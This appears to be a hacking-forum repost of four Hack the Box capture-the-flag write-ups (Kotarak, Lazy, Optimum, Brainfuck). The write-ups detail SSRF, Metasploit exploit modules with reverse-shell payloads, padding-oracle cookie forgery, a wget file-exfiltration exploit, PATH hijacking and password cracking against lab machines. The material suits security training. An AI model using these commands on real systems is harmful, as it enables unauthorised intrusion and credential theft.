Login

**NINZA** · 05-14-2020, 08:46 AM

0			0

Hello friends!! Today we are going to solve another CTF challenge “Kotarak” which is available online for those who want to increase their skill in penetration testing and black box testing. Kotarak is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Hard
Task: find user.txt and root.txt file on victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.55 so let’s begin with nmap port enumeration.
nmap -p- -A 10.10.10.55 --open
1
nmap -p- -A 10.10.10.55 --open
From given below image, you can observe we found port 22, 8009, 8080, 60000 are open in victim’s network.
[Image: 1.png?w=687&ssl=1]

As port 8080 and 60000 are running HTTP, we open the IP in our browser and access the page through port 8080. As soon as we open the ip in our browser we get a tomcat authentication prompt asking for username and password.
[Image: 2.png?w=687&ssl=1]

When we access the target machine through port 60000, we find a page that is hosted on the machine can be used to access the internet.
[Image: 4.png?w=687&ssl=1]

Now we need to use the dirb tool to enumerate the directories of the target machine.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

From given below image you can observe the highlighted directory that is put up by dirb in its output result.
[Image: 5.png?w=687&ssl=1]

We now try to check if the page is vulnerable to SSRF or not by trying to access a forbidden page on the target machine.
[Image: 6.png?w=687&ssl=1]

when we open server-status through the vulnerable page, we are able to access the forbidden content. We then find that port 888 is listening locally on the target machine.
[Image: 7.png?w=687&ssl=1]

Then we opened http://localhost:888 through URL and it contains a few links to different files.
[Image: 8.png?w=687&ssl=1]

We open backup and find that it was empty.
[Image: 9.png?w=687&ssl=1]

To gain further information we used curl to access the page and find that it is an XML file that contains a username and password.
curl

[To see content please register here]

1
curl

[To see content please register here]

We use the above credentials to login into tomcat manager application that is hosted on port 8080.
[Image: 11.png?w=687&ssl=1]

As we were able the right credentials for tomcat server, we found that it was vulnerable to this exploit

[To see content please register here]

. We used metasploit to exploit this vulnerability.
msf > use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost 10.10.10.55
msf exploit(multi/http/tomcat_mgr_upload) > set rport 8080
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername admin
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword 3@g01PdhB!
msf exploit(multi/http/tomcat_mgr_upload) > exploit
1
2
3
4
5
6
msf > use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost 10.10.10.55
msf exploit(multi/http/tomcat_mgr_upload) > set rport 8080
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername admin
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword 3@g01PdhB!
msf exploit(multi/http/tomcat_mgr_upload) > exploit
Finally, we got the meterpreter session as shown in the below image
[Image: 12.png?w=687&ssl=1]

After gaining the reverse shell we start enumerating the target system. In /home/tomcat/to_archive/pentest_data we find a few interesting files.
[Image: 13.png?w=687&ssl=1]

In /home/tomcat/to_archive/Pentest_data we find a directory information tree file and binary file.
We download both the files into our system
[Image: 14.png?w=687&ssl=1]

We used impacket-secretsdump to dump hashes inside the files.
[Image: 15.1.png?w=687&ssl=1]

We were able to crack one of the hashes and find it to be f16tomcat!
[Image: 15.2.png?w=687&ssl=1]

We use this to login as atanas, we then move into /root/ folder and find a file called flag.txt. When we open it we find that it was a dummy flag file.
[Image: 15.png?w=687&ssl=1]

In the root directory, we also find a log file when we take a look at the content of the file we find that it contains log that we were created using wget. We also find that the wget version used is 1.16
[Image: 16.png?w=687&ssl=1]

Searching on the Exploit-DB site we find that this version of wget was vulnerable to remote code execution.
[Image: 17.png?w=687&ssl=1]

We follow the instructions given on exploit-db.com about how to exploit this vulnerability.
[Image: 18.png?w=687&ssl=1]

Then we had opened the wgetrc file through vim for changing the path of Post_file from /etc/shadow into /root/root.txt
[Image: 19.png?w=687&ssl=1]

We download the code of this exploit from exploit-db.com and upload it to the target machine through meterpreter.
[Image: 20.png?w=687&ssl=1]

We then give read, write and execute permission to the file.
[Image: 21.png?w=687&ssl=1]

We then use authbind to run the file, as authbind allows a program to that would normally require super user privileges to access privileged network services to run as a non-privileged user. As soon as we run the exploit we get the root flag.
[Image: 25.png?w=687&ssl=1]

Hello Friends!! Today we are going to solve a CTF Challenge “Lazy”. It is a lab that is developed by Hack the Box. They have an amazing collection of Online Labs, on which you can practice your penetration testing skills. They have labs which are designed for beginners to the Expert penetration testers. Lazy is a Retired Lab.
Level: Medium
Task: Find the user.txt and root.txt in the vulnerable Lab.
Let’s Begin!
As these labs are only available online, therefore, they have a static IP. Lazy Lab has IP: 10.10.10.18.
Now, as always let’s begin our hacking with the port enumeration.
nmap -A 10.10.10.18
1
nmap -A 10.10.10.18
As you can see in the given screenshot that we have two services running on our Target Machine, ssh and HTTP on ports 22 and 80 respectively.
[Image: 1.png?w=687&ssl=1]

The Port 80 is open so let’s open IP in our browser to see that if a website is hosted on the IP. After opening the IP in the browser, we were greeted by a simple page with Register and Login Links. Clicking on the Register opens up a form.
[Image: 2.1.png?w=687&ssl=1]

Then I decided to register as admin: 123 for username and password respectively.
[Image: 2.2.png?w=687&ssl=1]

But I got an alert “Duplicate entry ‘admin’ for key PRIMARY”, also received error “can’t create the user: user exists” when I registered as admin. Hence username “admin” is already registered, now we though to crack the password for login but that was quite tough to crack.
[Image: 2.3.png?w=687&ssl=1]

At last, I decided to use the burp suite for capturing browser request. Here I simply register with aadmin as username and password 123.
[Image: 3.1.png?w=687&ssl=1]

And got intercepted request, here I saw auth cookie. Then I send the intercept request to the repeater for analyses its response. It gave a hint “invalid padding” which means there could be padding oracle vulnerability. To know more about what is padding oracle vulnerability read our previous article from

[To see content please register here]

. Since I had already faced such a situation in my past experience, therefore, I know what to do next.
[Image: 3.2.png?w=687&ssl=1]

Next, open the terminal to run the command shown in the given image which contains target URL and above-copied auth cookie
[Image: 3.3.png?w=687&ssl=1]

Further type 2 where it asked ID recommended
Last part of screenshot has captured three decrypt values in base64, HEX, and ASCII. The cookie of auth is a combination of username with its password from padbuster we came to know what is the encrypted value of username for admin.
[Image: 3.4.png?w=687&ssl=1]

We are very near to our goal just encrypt this auth cookie with the user as admin once again. Here we have our plaintext as admin and let’s encode it using padbuster.
[Image: 3.5.png?w=687&ssl=1]

Further type 2 where it asked ID recommended. Here the highlighted part is our encrypted value for admin. Copy It “BAit——–AAAA”.
[Image: 3.6.png?w=687&ssl=1]

Now replace the original auth cookie from the encrypted value which you have copied above and forwarded the intercepted request.
[Image: 3.7.png?w=687&ssl=1]

When request sent by burp suite, automatically on the web server you will get logged in as an admin account. After that when you will access the admin page you will get a URL “my key” that offers us with a username mitsos and an ssh key.
[Image: 4.png?w=687&ssl=1]

So as you can observe that we had opened the ssh key let’s save it into a text file as “key” on the desktop and if you notice the URL can read ssh login username mitsos.
[Image: 5.png?w=687&ssl=1]

First, let’s download the key and then give appropriate permission using the chmod. Now that we have the ssh username and key let’s get an ssh session.
ssh -i key [email protected]
1
ssh -i key [email protected]
After successfully accessing the PTY shell of a victim system, a simple ‘ls’ command will be shown to us that we have the user.txt. Congrats we got our user flag.
[Image: 7.png?w=687&ssl=1]

Now, let’s work on the root flag.
As we saw in the screenshot above that we the peda and backup folder too. We have tried working around it but nothing useful seems to come up. On running the executable backup we saw that it prints the shadow file with user hashes. So we ran the strings command and found that it does contain command “cat /etc/shadow”
[Image: 8.png?w=687&ssl=1]

Now, all we need to do was to create a personalized executable cat file, which can be done as shown in the below image. Here we are reprogramming cat to give us the shell, on execution.
cd /tmp
echo "/bin/sh" > cat
chmod 777 cat
export PATH=/tmp:$PATH
cd
ls
./backup
1
2
3
4
5
6
7
cd /tmp
echo "/bin/sh" > cat
chmod 777 cat
export PATH=/tmp:$PATH
cd
ls
./backup
When you will execute the backup to see if we have got the shell. Great! We have the root shell.
[Image: 5.png?w=687&ssl=1]

Now all which is left is to get to the root directory and get the flag. But remember we have the $PATH changed; so to run the cat command we will have to specify the location.
/bin/cat root.txt
1
/bin/cat root.txt
Great!! We got our root flag successfully
And this way, we successfully solved our challenge. YAY!
[Image: 12.png?w=687&ssl=1]

Today we are going to solve another CTF challenge called “Optimum” which is categorized as a retired lab developed by Hack the Box for the purpose of online penetration practices. Solving this lab is not that tough if have proper basic knowledge of Penetration testing. Let’s start and learn how to breach it.
Level: Intermediate
Task: find user.txt and root.txt file on the victim’s machine.
Since these labs are online, therefore they have static IP. The IP of optimum is 10.10.10.8 so let’s start with nmap port enumeration.
nmap -A 10.10.10.8
1
nmap -A 10.10.10.8
From the given below image, you can observe that we found ports 80 is open for file sharing using HFS 2.3 in the victim’s network.
[Image: 1.png?w=687&ssl=1]

When I Googled relative exploit I found first link for Metasploit exploit.
[Image: 2.1.png?w=687&ssl=1]

Then run the msfconsole command in terminal and load Metasploit framework to use the said exploit and for that type the following commands :
use exploit/windows/http/rejetto_hfs_exec
msf exploit(windows/http/rejetto_hfs_exec) >set payload windows/x64/meterpreter/reverse_tcp
msf exploit(windows/http/rejetto_hfs_exec) >set rhost 10.10.10.8
msf exploit(windows/http/rejetto_hfs_exec) >set lhost 10.10.14.6
msf exploit(windows/http/rejetto_hfs_exec) >set srvhost 10.10.14.6
msf exploit(windows/http/rejetto_hfs_exec) >exploit
1
2
3
4
5
6
use exploit/windows/http/rejetto_hfs_exec
msf exploit(windows/http/rejetto_hfs_exec) >set payload windows/x64/meterpreter/reverse_tcp
msf exploit(windows/http/rejetto_hfs_exec) >set rhost 10.10.10.8
msf exploit(windows/http/rejetto_hfs_exec) >set lhost 10.10.14.6
msf exploit(windows/http/rejetto_hfs_exec) >set srvhost 10.10.14.6
msf exploit(windows/http/rejetto_hfs_exec) >exploit
And when it works perfectly, you will get a meterpreter session 1 as shown below and by running the sysinfo command you will know about the victim’s system information.
[Image: 2.png?w=687&ssl=1]

Now let’s complete this task by searching user.txt and root.txt flag which is hidden somewhere inside its directories.
Inside c:\Document and Setting \kostas\Desktop I found the user.txt file and used the cat command to read this file.
cat user.txt.txt
Great!! We got our 1st flag successfully.
[Image: 3.png?w=687&ssl=1]

To get root flag I really struggle a lot, all privilege escalation exploit suggested by recon/local_exploit_suggester did not work when I tried them. Then I took help from Google and searched for exploit related to windows server and found many exploits, “MS16-098 exploit 41020” was among them. I simply downloaded this .exe file and applied manual privilege escalation.
[Image: 4.png?w=687&ssl=1]

After downloading the exe file from Google, I transferred it to target’s machine via meterpreter session; with help of following commands:
meterpreter> upload /root/Desktop/41020.exe .
meterpreter> shell
1
2
meterpreter> upload /root/Desktop/41020.exe .
meterpreter> shell
Then after executing the whoami command, it assured me “nt authority\system”
[Image: 6.png?w=687&ssl=1]

Inside c:\Document and Setting \Administrator\Desktop I found the root.txt file and used the type command to read the file.
type root.txt
1
type root.txt
Great!! We got our 2nd flag successfully
And this way, we successfully solved our challenge. YAY!
[Image: 7.png?w=687&ssl=1]

Hello friends!! Today we are going to solve another CTF challenge “Brainfuck” which is retired vulnerable lab presented by Hack the Box for making online penetration testing practices according to your experience level. Although in this challenge you can test your expertise by WordPress penetration testing and how much knowledge you have in cryptography by decrypting any encryption that you will get in this lab.
Level: Hard
Task: find user.txt and root.txt file in the victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.17 so let’s begin with nmap port enumeration.
nmap -A 10.10.10.17
1
nmap -A 10.10.10.17
From given below image, you can observe that we have found so many ports which are open such as 22,25 and so on in victim’s network and moreover I got three domain names as highlighted in below image.
[Image: 1.png?w=687&ssl=1]

Now the next option was to add target IP inside /etc/host file since port 443 was open containing three domain names obtained from scanning result; thus I edit sup3rs3cr3t.brainfuck.htb

[To see content please register here]

brainfuck.htb as hostname.
[Image: 2.png?w=687&ssl=1]

Then I explored all three domain names one by one in the web browser but when I explored

[To see content please register here]

found following webpage page which was indicating that it is a WordPress site and pointing toward SMTP mail Id [email protected] as highlighted in below image.
[Image: 3.png?w=687&ssl=1]

Now we decided to use wpscan on the target URL, that we have entered in the browser. To check if there are any kind of vulnerable themes, plugins, username and etc.
wpscan -u

[To see content please register here]

--disable-tls-checks --enumerate p --enumerate t --enumerate u
1
wpscan -u

[To see content please register here]

--disable-tls-checks --enumerate p --enumerate t --enumerate u
[Image: 5.png?w=687&ssl=1]

From the wpscan result, I grabbed the vulnerability in WordPress plug-in “support plus responsive ticket system” for Remote code execution as highlighted below.
[Image: 6.png?w=687&ssl=1]

Moreover, it dumped two login usernames “admin & administrator”
[Image: 7.png?w=687&ssl=1]

With the help of Google, I search associated exploit for compromising victim’s credential and found exploit 41006 as shown below.
[Image: 8.png?w=687&ssl=1]

Inside this, I saw HTML form code for remote code execution, now copy it and paste it into a text document.
[Image: 9.png?w=687&ssl=1]

Here please notice the changes I had made by adding “value: admin as username and orestis@brainfuck as email and target URL in action https://brainfuck” and saved it as wp.html on the desktop.
[Image: 10.png?w=687&ssl=1]

Then I run Python script for file transfer via port 80.
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
[Image: 11.png?w=687&ssl=1]

Then explore the wp.html file in localhost server as shown below and click on the login tab.
[Image: 12.png?w=687&ssl=1]

By doing so you can login as anyone without knowing password because of incorrect usage of wp_set_auth_cookie(). Then you can go to the admin panel by visiting https://brainfuck once again.
[Image: 13.png?w=687&ssl=1]

You will get admin panel of WordPress and start penetrating it for getting a clue.
[Image: 14.png?w=687&ssl=1]

Inside the admin dashboard, I looked at the plugin for the further step where I found SMTP plug-in.
[Image: 15.png?w=687&ssl=1]

It was a terrific moment when I saw user authentication login are filled in the text field. So I read username “orestis” but the password was in bold character, which I need to convert in plain text using inspect element.
[Image: 16.png?w=687&ssl=1]

Wonderful!! Here is orestis plain text password value as shown below in highlighted text, let’s use them for SMTP login.

[Image: 17.png?w=687&ssl=1]

Through telnet command: telnet 10.10.10.17 110 we established a connection with the SMTP server and login into orestis account, now for reading orestis inbox messages I retr 1 command but didn’t get any useful message and move to another message by running retr 2.
[Image: 18.png?w=687&ssl=1]

Here I found something very crucial that there is username and password for any “Secret” forum for login and after a very deep thought; I realized this credential could be connected to sup3rs3cr3t.brainfuck.htb which I had explored in web browser.
[Image: 19.png?w=687&ssl=1]

Again I explore https:\\sup3rs3cr3t.brainfuck.htb then submit above found credentials and got successful login.
[Image: 20.png?w=687&ssl=1]

It showing super-secret forum which is pointing towards any secret discussion chat inside “Key” and “SSH Access”
[Image: 21.png?w=687&ssl=1]

Inside “Key” I notice chatting between admin and orestis which was going beyond my sense. Might be orestis and admin are sharing some confidential information in this secret chat but in the last reply of admin, it looked like he is secretly sharing any encrypted URL.
[Image: 22.png?w=687&ssl=1]

Then I open “ssh access” Ahhhh!!! It was an English conversation where the admin is giving suggestion to use Key for login instead of a simple password. And by reading all conversation I concluded that orestis has lost SSH login key and asking an admin to send the key in an encrypted chat that we saw above “Key” (secret discussion).
[Image: 23.png?w=687&ssl=1]

Time to decrypt their conversation for getting ssh login key but we don’t know from where to start. After spending so much time and efforts at last I successfully decrypted and found ssh login key.
Now your question is- How it became possible?
And my answer is: observe the given below step carefully:
From both chats “Key” and “ssh access” I copied the following text into a text file respectively and removed the space provided between the word as shown in below.
Pieagnm - Jkoijeg nbw zwx mle grwsnn (message in cipher text)
Orestis - Hacking for fun and profit (decrypt key in plain text)
1
2
Pieagnm - Jkoijeg nbw zwx mle grwsnn (message in cipher text)
Orestis - Hacking for fun and profit (decrypt key in plain text)
Considering ciphertext is encrypted information and plaintext as decrypting key.
[Image: 24.1.png?w=687&ssl=1]

With the help of online decipher I had pasted above ciphertext inside encipher textbox and decryption key inside decipher textbox and received decipher message “BrainfuCkmybrainfuckmybrainfu”
[Image: 24.png?w=687&ssl=1]

If you remember we had obtained encrypted URL from inside “Key” discussion, go for its decryption using above decipher message “fuckmybrain” as decrypting key. It took much time to identify proper encryption algorithm used for encrypting URL and we have successfully decrypted it with the help of Vigerner cipher. It gave a plaintext URL for downloading id_rsa for ssh login as orestis.
From the given below image, you can observe that I have added encrypted URL in the encrypted text field and used “fuckmybrain” as a decrypting key and obtain Plain text URL.
[Image: 25.png?w=687&ssl=1]

After downloading id_rsa when I tried to open this file, then found that it required a password to view its content.
[Image: 26.png?w=687&ssl=1]

Formerly I downloaded a python script from

[To see content please register here]

for cracking the password of this file. Then I ran following command and got desired output.
python sshng2john.py id_rsa > ssh_login
1
python sshng2john.py id_rsa > ssh_login
Then we used John the ripper for cracking this ssh_login file.
john ssh_login --wordlist=/usr/share/wordlists/rockyou.txt
1
john ssh_login --wordlist=/usr/share/wordlists/rockyou.txt
“3poulakia!” we got a result from executing the above command.
[Image: 27.png?w=687&ssl=1]

And without wasting time; I executed the following command for login into SSH using 3poulakia! as password.
ssh -i id_rsa [email protected]
1
ssh -i id_rsa [email protected]
Great!! I logged in successfully, now let’s finish the task by grabbing user.txt and root.txt file. First I have checked for available files in the current directory which are inside it. Good to see user.txt in the present location and then I open it using cat.
cat user.txt
Apart from user.txt, I found three more files in this directory and when I opened these file I got the hint for Root Flag! Now follow the below steps if you are also looking for root flag.
[Image: 28.png?w=687&ssl=1]

When I read the content of encrypt.sage, it was pointing towards encrypted password within debug.txt and output.txt
[Image: 30.1.png?w=687&ssl=1]

When I open debug.txt and output.txt, here I saw encrypted information then again I chased towards Google for any help in such type of encryption and luckily found a decrypting script from this link:

[To see content please register here]

and after that copied entire script into a text file for decryption.
[Image: 30.png?w=687&ssl=1]

As described in crypto150 algorithm I placed 1st, 2nd & 3rd line of debug.txt equal to p, q, e respectively. Ct is equal to the content of output.txt as shown below and saved it as decrypt.py
[Image: 31.png?w=687&ssl=1]

Then run our decrypt.py through python and capture the root flag!!
python decrypt.py
1
python decrypt.py
Huhhhhh!!!!!! Such a hectic Lab it was, but we have completed the challenge successfully.
[Image: 32.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis